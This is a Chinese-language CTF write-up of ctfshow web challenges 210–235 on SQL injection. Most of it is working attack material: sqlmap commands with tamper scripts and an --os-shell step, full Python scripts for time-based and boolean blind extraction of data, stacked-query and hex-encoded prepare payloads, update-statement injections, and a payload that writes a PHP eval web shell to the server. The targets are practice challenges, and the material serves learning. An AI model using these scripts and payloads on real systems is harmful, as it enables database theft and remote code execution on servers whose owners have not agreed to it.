# 爆数据库 ctfshow_web
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs 
# 爆表 ctfshow_flavi
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagxx
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavi --columns  
# 爆数据 
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavi --columns -C ctfshow_flagxx --dump
1
2
3
4
5
6
7
8

# web 211

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}
1
2
3
4
5
6
7

在上一题的基础上过滤了空格,sqlmap可以同时使用多个绕过脚本,用逗号,隔开,例如--tamper space2comment.py,show-web210.py

在上一题的payload的tamper后使用注释绕过空格的脚本,以及web210的脚本。先使用space2comment.py拿到注释绕过空格的payload,再使用show-web210.py拿到反转加密的payload,拿到最终的payload

# 爆数据库 ctfshow_web
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs 
# 爆表 ctfshow_flavia
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables
# 爆字段  ctfshow_flagxxa
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavia --columns
# 爆金币 <blank>
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavia --columns -C ctfshow_flagxxa --dump
1
2
3
4
5
6
7
8

# web 212

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}
1
2
3
4
5
6
7

相比上题,又过滤了星号*,注释绕过空格用不了了。在前面做题时,已知%0a,%0b,%0c,%0d都可以绕过空格。拿大佬的脚本,整合了绕过空格和编码的功能,写到show-web212.py里待会使用

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
 
def dependencies():
    pass

# 主要功能部分
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(' ',chr(0x09))
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
 
    return retVal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 爆数据库 ctfshow_web
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs 
# 爆表 ctfshow_flavis
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagxsa
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web212.py --dbs -D ctfshow_web --tables -T ctfshow_flavis --columns
# 爆金币
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web212.py --dbs -D ctfshow_web --tables -T ctfshow_flavis --columns -C ctfshow_flagxsa --dump
1
2
3
4
5
6
7
8

# web 213

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}
1
2
3
4
5
6
7

过滤了空格,星号...没改?

上一题payload打一下,可以用。但是没有flag的表,这题提示考察--os-shell

# 爆数据库 ctfshow_web
sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php"--method=put --data="id=1" --headers="Content-Type: text/plain"--cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs 
# 爆表 ctfshow_user
sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs -D ctfshow_web --tables
1
2
3
4

使用--os-shell一键getshell

sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --os-shell
1

默认会写入php文件上传的功能,具体木马由你自己生成

upload

上传木马,一键日站

# web 214 时间盲注

看其他师傅wp做,首页bp抓包还是f12看网络请求都没有发现api接口,直接dirsearch扫描了

time0

/api/的报文还是什么都没有

214

在网络里看到select.js,点进去可以看到

layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});

$.ajax({
      url:'api/',
      dataType:"json",
      type:'post',
      data:{
        ip:returnCitySN["cip"],
        debug:0
      }

    });
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

ajax通过post请求/api/接口,有ip,debug的参数

hackbar发包,ip随便填,没有限制,debug的会影响页面是否回显。发包后返回了原sql语句select id from ctfshow_info where ip = $_POST[ip],如果ip=sleep(3),页面会缓慢的加载3秒后才响应,说明sleep执行成功

import requests
import time
url = 'http://08d7032b-e019-444d-aeb7-2ba24dd99c9e.challenge.ctf.show/api/'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名(当前数据库)
        # payload = {
        #     'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        # 爆列
        # payload = {
        #     'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        # 爆值
        payload = {
            'ip': f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(0.5),'False')#",
            'debug': 0
        }
        start_time = time.time()
        r = requests.post(url=url, data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 0.5:
            max = j
        else:
            min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# web 215

/api/接口发请求ip=1&debug=1,返回了sql语句select id from ctfshow_info where ip = '1';,把ip的值放在了单引号里,直接闭合单引号,稍加修改上题的脚本接着打

import requests
import time
url = 'http://46aefd94-5b7e-4d82-ae3d-3210a5d35606.challenge.ctf.show/api/'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名 ctfshow_flagxc
        # payload = {
        #     'ip': f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        # 爆列 flagaa
        # payload = {
        #     'ip': f"1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        # 爆值 
        payload = {
            'ip': f"1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),'False')#",
            'debug': 0
        }
        start_time = time.time()
        r = requests.post(url=url, data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 0.5:
            max = j
        else:
            min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# web 216

/api/接口发请求ip=1&debug=1,返回了sql语句select id from ctfshow_info where ip = from_base64($_POST[ip]);,题目想接收一个base64编码的内容,不给,直接填充闭合from_base64()函数,稍加修改上题的脚本接着打

import requests
import time
url = 'http://ccc4c05d-4990-48cd-b95f-6d90b024dd7f.challenge.ctf.show/api/'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名 ctfshow_flagxc
        payload = {
            'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
            'debug': 0
        }
        # 爆列 flagaa
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        # 爆值 
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),'False')#",
        #     'debug': 0
        # }
        start_time = time.time()
        r = requests.post(url=url, data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 0.5:
            max = j
        else:
            min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# web 217 benchmark

这题ban了sleep函数,在SQL中还提供了benchmark函数

提示

BENCHMARK 函数是 MySQL 中的一个用于性能测试的函数。它可以用来测量一个 SQL 语句或表达式的执行时间

这个函数可以用来测试一个语句执行的时间

测试5,000,000次,时间大概0.7秒

217

这个也挺好用,虽然没有sleep好用(痴呆,流口水.png)。太慢了(恼),顺便买个饭去

import requests
import time
url = 'http://0ca80f40-f50b-48d1-be46-a8badf78956d.challenge.ctf.show/api/'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名 ctfshow_flagxccb
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
        #     'debug': 0
        # }
        # 爆列 flagaabc
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
        #     'debug': 0
        # }
        # 爆值 
        payload = {
            'ip': f"'1111') or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
            'debug': 0
        }
        start_time = time.time()
        r = requests.post(url=url, data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 0.5:
            max = j
        else:
            min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# web 218 笛卡尔积

参考: X1r0z Blog (opens new window)

大佬准备的sql笛卡尔积查询payload,在我windows本地跑查询时间0.059s,要在linux下吗?

1.2秒左右payload

(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F)
1

直接拿到题目试试,确实挺不错的,可能跑的有点小错误,多跑两次

218

import requests
import time
url = 'http://0c8d2c19-5b35-4e2e-ad51-a96181dd7b6b.challenge.ctf.show/api/'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名  ctfshow_flagxc
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
        #     'debug': 0
        # }
        # 爆列 flagaac
        # payload = {
        #     'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
        #     'debug': 0
        # }
        # 爆金币 
        payload = {
            'ip': f"'1111') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
            'debug': 0
        }
        start_time = time.time()
        r = requests.post(url=url, data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 1:
            max = j
        else:
            min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

很难,但还是出来了。跑这个不要挂魔法,容易延迟容易误报

# web 219 rlike

过滤了rlike

【大佬博客】 (opens new window)里有用rlike

219

这题还是用上题脚本跑了

# web 220

参考:【Practice - CTFSHOW WEB入门 SQL注入篇】 (opens new window)

过滤了substr,还可以使用right,left, mid

励志要自己写脚本🤐

import string
import time
import requests

url = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"


def valid_payload(p: str) -> bool:
    data = {
        "debug": 0,
        "ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
              f"information_schema.tables C),1) "
    }
    time_s = None
    time_e = None
    while True:
        time_s = time.time()
        try:
            _ = requests.post(url, data=data)
        except:
            continue
        time_e = time.time()
        break
    # 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
    return time_e-time_s > 4


letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""

while True:
    for letter in letters:
        load = payload.format(index, result + letter)
        if valid_payload(load):
            result += letter
            break
    print(f"[*] result: {result}")
    index += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

# web 221 limit注入

limit联合注入版本限制(5.0.0-5.6.6)

select *from tableName limit 1,1 (order by) $_POST['sql'];sql语句这里,如果有order by,就不能联合注入,如果没有order by就可以注入

考点:limit注入,procedure analyse()函数优化表结构

在查询接口/api/传参

payload:?page=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1)

解释:procedure analyse(extractvalue(rand(),concat(0x3a,database())),1): procedure analyse用于分析结果,extractvalue() 需要的是 XML 相关的数据,而传入的却是一个随机数 rand(),可以爆出需要分析的数据库名称

# web 222 group by

分析大佬的脚本,二分法查询相关数据,利用sleep盲注,通过substr比较爆出数据,把if的结果sleep(0.05),1放在了group后面,重点应该在在时间盲注

import requests
import time

url='http://92ed72b8-5087-4bf6-9e3e-c3797af901ec.challenge.ctf.show/api/'
result=''
i=0
while True:
    i+=1
    head=1
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # ctfshow_flaga,ctfshow_user
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
        # id,flagaabc,info 
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))>{mid},sleep(0.05),1)"
        payload = f"if(ascii(substr((select flagaabc from ctfshow_flaga),{i},1))>{mid},sleep(0.05),1)"

        data={
            "u":payload
        }
        t1=time.time()
        r=requests.get(url,params=data)
        t2=time.time()
        # print(t2-t1)#调试
        print("[*]程序正在进行.....")
        if t2-t1>0.9:#这边不稳定,要调试
            head=mid+1
        else:
            tail=mid
    if head!=1:
        result+=chr(head)
        print(result)
    else:
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# web 223

点击去重按钮,可以在f12调试工具网络界面看到请求参数

223

给u随便传值,如果u是数字返回{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]},如果u是username,会返回{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"2","username":"user1","pass":"111"},{"id":"3","username":"user2","pass":"222"},{"id":"4","username":"userAUTO","pass":"passwordAUTO"}]}

通过返回结果不同,可以使用布尔盲注

"""
Author:Y4tacker
"""
import requests


def generateNum(num):
    res = 'true'
    if num == 1:
        return res
    else:
        for i in range(num - 1):
            res += "+true"
        return res


url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
    head = 32
    tail = 127
    i = i + 1

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库-ctfshow_flagas
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段-flagasabc
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
        # 查flag
        payload = "select flagasabc from ctfshow_flagas"
        params = {
            "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
        }
        r = requests.get(url, params=params)
        # print(r.json()['data'])
        if "userAUTO" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        res += chr(head)
    else:
        break
    print(res)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

# web 224

参考:Web224(finfo文件注入) (opens new window)

访问robots.txt可以看到密码重置页面

224

重置密码后登录,存在一个文件上传页面

题目检查上传文件里是否存在一些关键字text,png,images等等,空文件和bin文件可以上传成功。奇怪的是看大佬的wp,为什么存在这样的洞,题目会执行bin文件里的sql语句?站长想通过文件上传执行shell命令?不能直接ssh?

上传1.bin,写木马到服务器,不能太长,似乎只能一句。前面要有C64File "')

C64File "');select "<?php eval($_GET[1]);?>" into outfile '/var/www/html/3.php';--+
1

# web 225 堆叠提升

堆叠注入,查询表名

225

在f12调试界面可以看到接口返回的信息,两个表名,应该是键名tables_in_ctfshow_web和字段对不上,所以没有直接显示在页面里。

查询flag表里的字段名

2250

这道题类似强网杯 2019 - 随便注。下面有多种解题思路

强网杯 2019 - 随便注 (opens new window)

# 思路一

直接读取表里的内容,这里flag在表里的第一行,直接读出来了,如果不是第一行,可以多执行几次handler a read next;

handler `ctfshow_flagasa` open as `a`;
handler `a` read next;
1
2

2252

# 思路二

执行预处理的sql语句,通过拼接绕过select的限制,变量名不要叫sqlsql是关键字

ctfshow';show tables;prepare a from concat('s','elect',' *from ctfshow_flagasa');execute a;#
1

2253

提示

通过拼接执行select version();,发现这是{version(): "10.3.18-MariaDB"},是mysql的一个分支,大多数语法都是兼容的,但是在这里的执行动态拼接语句是一个不兼容问题。
MariaDB可以执行concat函数拼接的sql语句,Mysql更严格,不允许

# web 226 16进制+预处理

prepare from还可以直接处理十六进制字符串,太强了。测试发现,mysql是不兼容这个语法,局限于题目的这个MariaDB数据库了。

# show tables
prepare a from 0x73686F77207461626C65733B;execute a;#
# select *from ctfsh_ow_flagas
prepare a from 0x73656C656374202A66726F6D2063746673685F6F775F666C61676173;execute a;#
1
2
3
4

# web 227 数据存储过程

新增过滤db``,,上一题的思路还能用

# show tables  只有一个ctfshow_user表
prepare a from 0x73686F77207461626C65733B;execute a;#
# select *from ctfshow_user 查到的信息都是题目已经给的
prepare a from 0x73656C656374202A66726F6D2063746673686F775F75736572;execute a;#
1
2
3
4

换个思路,可能flag存进去又删库了。找找记录?

227

# 查找在存储过程是否定义了flag
SELECT ROUTINE_DEFINITION FROM information_schema.ROUTINES
1
2

转成16进制,执行预处理sql语句,可以看到定义过程的flag。太强了,又有了奇怪的想法

user1';prepare a from 0x53454C45435420524F5554494E455F444546494E4954494F4E2046524F4D20696E666F726D6174696F6E5F736368656D612E524F5554494E4553;execute a;#
1

2271

# web 228 -- web 230 思路相同

这题把黑名单字符串放进了数据库的一个表里了,不给看,好思路。如果可以把这个表删了是不是就无敌了,不过现在使用16进制执行命令也没什么限制,哈哈

ctf';prepare a from 0x53454C454354202A2046524F4D20696E666F726D6174696F6E5F736368656D612E524F5554494E4553;execute a;#
1

# web 231 update注入

在网络界面js里找到传参的方式

230

先测试修改ctfshow用户的密码

2301

接口返回信息,修改成功,可以正常执行

2302

在password字段上注入,把想查的数据通过子查询和update修改到当前显示的表里。因为把后面where判断注释了,所以会修改整个表

在发愁记不住查库表字段语句?hackerbar准备的有联合查询语句,删掉union就可以用了

# 查库
username=ctfshow&password=1',username=(select group_concat(schema_name) from information_schema.schemata);#
# 查表
username=information_schema,test,mysql,performance_schema,ctfshow_web&password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#
# 查字段flag在flaga表的flagas字段里
username=banlist,ctfshow_user,flaga
&password=1',username=(select group_concat(column_name) from information_schema.columns where table_schema=database());#
# 查flag
username=id,char,id,username,pass,id,flagas,info&password=1',username=(select group_concat(flagas) from flaga);#
1
2
3
4
5
6
7
8
9

# web 232

修改语句给password添加了一个md5函数处理,直接给他闭合,后面加上自己的上题的语句。测试查询版本信息,可以正常执行

232

2321

下面就和上题一样做就可以

# 测试
username=10.3.18-MariaDB&password=1'),username=(select version());#
# 查库
username=10.3.18-MariaDB&password=1'),username=(select group_concat(schema_name) from information_schema.schemata);#
# 查表
username=information_schema,test,mysql,performance_schema,ctfshow_web&password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#
# 查字段 flag在flagaa表的flagass字段
username=banlist,ctfshow_user,flaga
&password=1'),username=(select group_concat(column_name) from information_schema.columns where table_schema=database());#
# 查flag
username=id,char,id,username,pass,id,flagass,info&password=1'),username=(select group_concat(flagass) from flagaa);#
1
2
3
4
5
6
7
8
9
10
11

# web 233 布尔盲注

这题目怎么又回到之前的版本了。直接狠狠地sql注入(注不进去,题目存在过滤)

前面的payload注入没有变化,可能是对password做了过滤,试试username处能不能时间盲注,页面可以执行username=ctfshow' and if(1=1,sleep(3),0)#&password=1。看大佬脚本根据update是否修改成功的回显,使用了布尔盲注


import requests
url='http://398f1aa4-200c-4594-af45-5d7b0a59f091.challenge.ctf.show/api/'
flag=''
i=0
j = 0
while True:
    head=1
    tail=127
    i+=1
    while head<tail:
        j+=1
        mid=(head+tail)>>1
        # 爆表 flag233333
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
        # 爆字段 id,flagass233,info
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
        # 爆flag
        payload=f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
        data={
            "username":payload,
            "password":j
        }
        r=requests.post(url,data=data)
        if "\\u66f4\\u65b0\\u6210\\u529f" in r.text:#更新成功
            head=mid+1
        else:
            tail=mid
    if head!=1:
        print(head)
        flag+=chr(head)
        print(flag)
    else:
        break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# web 234 反斜杠转义

相比于上题,这题'单引号被过滤了,看了师傅反斜杠转义 (opens new window)。现在不能主动用单引号闭合了,如果使用反斜杠转义原有的单引号,有更好玩的姿势

# 原始语句
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
# 反斜杠转义后
$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";
1
2
3
4

反斜杠转义后,出现pass='\' where username ='{$username}';,变量pass=where username =,原有的where语句被pass变量吞掉了,变量username出来了

这个sql语句可以看成

$sql = update ctfshow_user set pass = 'where username = '{$username}';
1

现在可以看到{$username}前面的单引号跟pass的单引号闭合了,后面还多出一个单引号,需要注释掉,不然语句就是错的。 子查询放括号里

username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=\
1

用这个思路,接着爆库表数据

# web 235

题目过滤了or,',子查询里的information用不了了,在mysql中其他类似作用库如innodb_table_stats,作用和information_schema.tables类似。可以查出库名,表名

info

username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#&password=2\
1

通过子查询套出表中字段

